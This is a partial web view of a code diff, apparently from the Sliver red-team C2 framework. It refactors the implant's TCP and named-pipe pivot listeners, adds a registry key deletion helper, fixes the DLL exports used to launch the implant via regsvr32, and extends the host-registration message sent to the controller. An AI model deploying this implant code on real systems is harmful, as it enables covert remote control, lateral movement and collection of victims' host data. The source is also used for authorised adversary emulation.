}),
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -301,6 +409,7 @@ func (p *NetConnPivot) peerKeyExchange() error {
|
||||
// {{end}}
|
||||
return ErrFailedKeyExchange
|
||||
}
|
||||
p.downstreamPeerID = peerHello.PeerID
|
||||
sessionKey := cryptography.RandomKey()
|
||||
p.cipherCtx = cryptography.NewCipherContext(sessionKey)
|
||||
ciphertext, err := cryptography.ECCEncryptToPeer(peerHello.PublicKey, peerHello.PublicKeySignature, sessionKey[:])
|
||||
@@ -461,3 +570,8 @@ func (p *NetConnPivot) RemoteAddress() string {
|
||||
func (p *NetConnPivot) Close() error {
|
||||
return p.conn.Close()
|
||||
}
|
||||
|
||||
func mustMarshal(msg proto.Message) []byte {
|
||||
data, _ := proto.Marshal(msg)
|
||||
return data
|
||||
}
|
||||
@@ -24,6 +24,6 @@ import (
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var SupportedPivotListeners = map[pb.PivotType]StartListener{
|
||||
pb.PivotType_TCP: StartTCPPivotListener,
|
||||
var SupportedPivotListeners = map[pb.PivotType]CreateListener{
|
||||
pb.PivotType_TCP: CreateTCPPivotListener,
|
||||
}
|
||||
@@ -22,7 +22,7 @@ import (
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var SupportedPivotListeners = map[pb.PivotType]StartListener{
|
||||
pb.PivotType_TCP: StartTCPPivotListener,
|
||||
pb.PivotType_NamedPipe: StartNamedPipePivotListener,
|
||||
var SupportedPivotListeners = map[pb.PivotType]CreateListener{
|
||||
pb.PivotType_TCP: CreateTCPPivotListener,
|
||||
pb.PivotType_NamedPipe: CreateNamedPipePivotListener,
|
||||
}
|
||||
@@ -35,8 +35,8 @@ var (
|
||||
tcpPivotWriteDeadline = 10 * time.Second
|
||||
)
|
||||
|
||||
// StartTCPPivotListener - Start a TCP listener
|
||||
func StartTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
// CreateTCPPivotListener - Start a TCP listener
|
||||
func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting TCP pivot listener on %s", address)
|
||||
// {{end}}
|
||||
@@ -48,37 +48,12 @@ func StartTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*Pivot
|
||||
return nil, err
|
||||
}
|
||||
pivotListener := &PivotListener{
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_TCP,
|
||||
Listener: ln,
|
||||
Pivots: &sync.Map{},
|
||||
BindAddress: address,
|
||||
Upstream: upstream,
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_TCP,
|
||||
Listener: ln,
|
||||
PivotConnections: &sync.Map{},
|
||||
BindAddress: address,
|
||||
Upstream: upstream,
|
||||
}
|
||||
go tcpPivotAcceptNewConnections(pivotListener)
|
||||
return pivotListener, nil
|
||||
}
|
||||
|
||||
func tcpPivotAcceptNewConnections(pivotListener *PivotListener) {
|
||||
for {
|
||||
conn, err := pivotListener.Listener.Accept()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] listener stopping: %s", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
// handle connection like any other net.Conn
|
||||
pivotConn := &NetConnPivot{
|
||||
id: PivotID(),
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
readDeadline: tcpPivotReadDeadline,
|
||||
writeDeadline: tcpPivotWriteDeadline,
|
||||
upstream: pivotListener.Upstream,
|
||||
Downstream: make(chan *pb.Envelope),
|
||||
}
|
||||
go pivotConn.Start(pivotListener.Pivots)
|
||||
}
|
||||
}
|
||||
@@ -127,6 +127,26 @@ func WriteKey(hostname string, hive string, path string, key string, value inter
|
||||
return err
|
||||
}
|
||||
|
||||
// DeleteKey removes an existing key or value.
|
||||
// Removing a value takes precident over removing a key.
|
||||
// If neither exists, an error is returned.
|
||||
func DeleteKey(hostname string, hive string, path string, key string) error {
|
||||
k, err := openKey(hostname, hive, path, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("could not open key %s: %s\n", path, err.Error())
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
|
||||
err = k.DeleteValue(key)
|
||||
if err != nil {
|
||||
err = registry.DeleteKey(*k, key)
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
// ListSubKeys returns all the subkeys for the provided path
|
||||
func ListSubKeys(hostname string, hive string, path string) (results []string, err error) {
|
||||
k, err := openKey(hostname, hive, path, registry.READ|registry.RESOURCE_LIST|registry.FULL_RESOURCE_DESCRIPTOR)
|
||||
|
||||
+28
-24
@@ -18,7 +18,7 @@ package main
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// {{if or .Config.IsSharedLib .Config.IsShellcode}}
|
||||
// {{if or .Config.IsSharedLib }}
|
||||
//#include "sliver.h"
|
||||
import "C"
|
||||
|
||||
@@ -52,6 +52,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
|
||||
"github.com/bishopfox/sliver/implant/sliver/limits"
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/implant/sliver/version"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -80,11 +81,10 @@ var (
|
||||
func init() {
|
||||
buf := make([]byte, 8)
|
||||
n, err := rand.Read(buf)
|
||||
seed := uint64(time.Now().Unix())
|
||||
if err == nil && n == len(buf) {
|
||||
binary.LittleEndian.PutUint64(buf, uint64(seed))
|
||||
if err != nil || n != len(buf) {
|
||||
binary.LittleEndian.PutUint64(buf, uint64(time.Now().Unix()))
|
||||
}
|
||||
insecureRand.Seed(int64(seed))
|
||||
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
|
||||
|
||||
id, err := uuid.NewV4()
|
||||
if err != nil {
|
||||
@@ -169,12 +169,12 @@ func DllInstall() { main() }
|
||||
|
||||
// DllRegisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
|
||||
// export DllRegisterServer
|
||||
//export DllRegisterServer
|
||||
func DllRegisterServer() { main() }
|
||||
|
||||
// DllUnregisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /u sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
|
||||
// export DllUnregisterServer
|
||||
//export DllUnregisterServer
|
||||
func DllUnregisterServer() { main() }
|
||||
|
||||
// {{end}}
|
||||
@@ -295,8 +295,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
// {{end}}
|
||||
nextCheckin := time.Now().Add(beacon.Duration())
|
||||
register := registerSliver()
|
||||
register.ActiveC2 = beacon.URL()
|
||||
register.ProxyURL = beacon.ProxyURL()
|
||||
register.ActiveC2 = beacon.ActiveC2
|
||||
register.ProxyURL = beacon.ProxyURL
|
||||
beacon.Send(wrapEnvelope(sliverpb.MsgBeaconRegister, &sliverpb.BeaconRegister{
|
||||
ID: InstanceID,
|
||||
Interval: beacon.Interval(),
|
||||
@@ -527,7 +527,10 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
pivots.RestartAllListeners(connection.Send)
|
||||
defer pivots.StopAllListeners()
|
||||
defer connection.Stop()
|
||||
|
||||
connectionErrors = 0
|
||||
// Reconnect active pivots
|
||||
// pivots.ReconnectActivePivots(connection)
|
||||
@@ -589,6 +592,8 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
log.Printf("[recv] tunHandler %d", envelope.Type)
|
||||
// {{end}}
|
||||
go handler(envelope, connection)
|
||||
} else if envelope.Type == sliverpb.MsgCloseSession {
|
||||
return nil
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] unknown envelope type %d", envelope.Type)
|
||||
@@ -618,7 +623,7 @@ func wrapEnvelope(msgType uint32, message protoreflect.ProtoMessage) *sliverpb.E
|
||||
}
|
||||
}
|
||||
|
||||
// registerSliver - Creates a registartion protobuf message
|
||||
// registerSliver - Creates a registration protobuf message
|
||||
func registerSliver() *sliverpb.Register {
|
||||
hostname, err := os.Hostname()
|
||||
if err != nil {
|
||||
@@ -660,20 +665,19 @@ func registerSliver() *sliverpb.Register {
|
||||
// {{end}}
|
||||
|
||||
return &sliverpb.Register{
|
||||
Name: consts.SliverName,
|
||||
Hostname: hostname,
|
||||
Uuid: uuid,
|
||||
Username: currentUser.Username,
|
||||
Uid: currentUser.Uid,
|
||||
Gid: currentUser.Gid,
|
||||
Os: runtime.GOOS,
|
||||
Version: version.GetVersion(),
|
||||
Arch: runtime.GOARCH,
|
||||
Pid: int32(os.Getpid()),
|
||||
Filename: filename,
|
||||
// ActiveC2: transports.GetActiveC2(),
|
||||
Name: consts.SliverName,
|
||||
Hostname: hostname,
|
||||
Uuid: uuid,
|
||||
Username: currentUser.Username,
|
||||
Uid: currentUser.Uid,
|
||||
Gid: currentUser.Gid,
|
||||
Os: runtime.GOOS,
|
||||
Version: version.GetVersion(),
|
||||
Arch: runtime.GOARCH,
|
||||
Pid: int32(os.Getpid()),
|
||||
Filename: filename,
|
||||
ReconnectInterval: int64(transports.GetReconnectInterval()),
|
||||
// ProxyURL: transports.GetProxyURL(),
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
PeerID: pivots.MyPeerID,
|
||||
}
|
||||
}
|
||||
Loaded 100 of 182 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user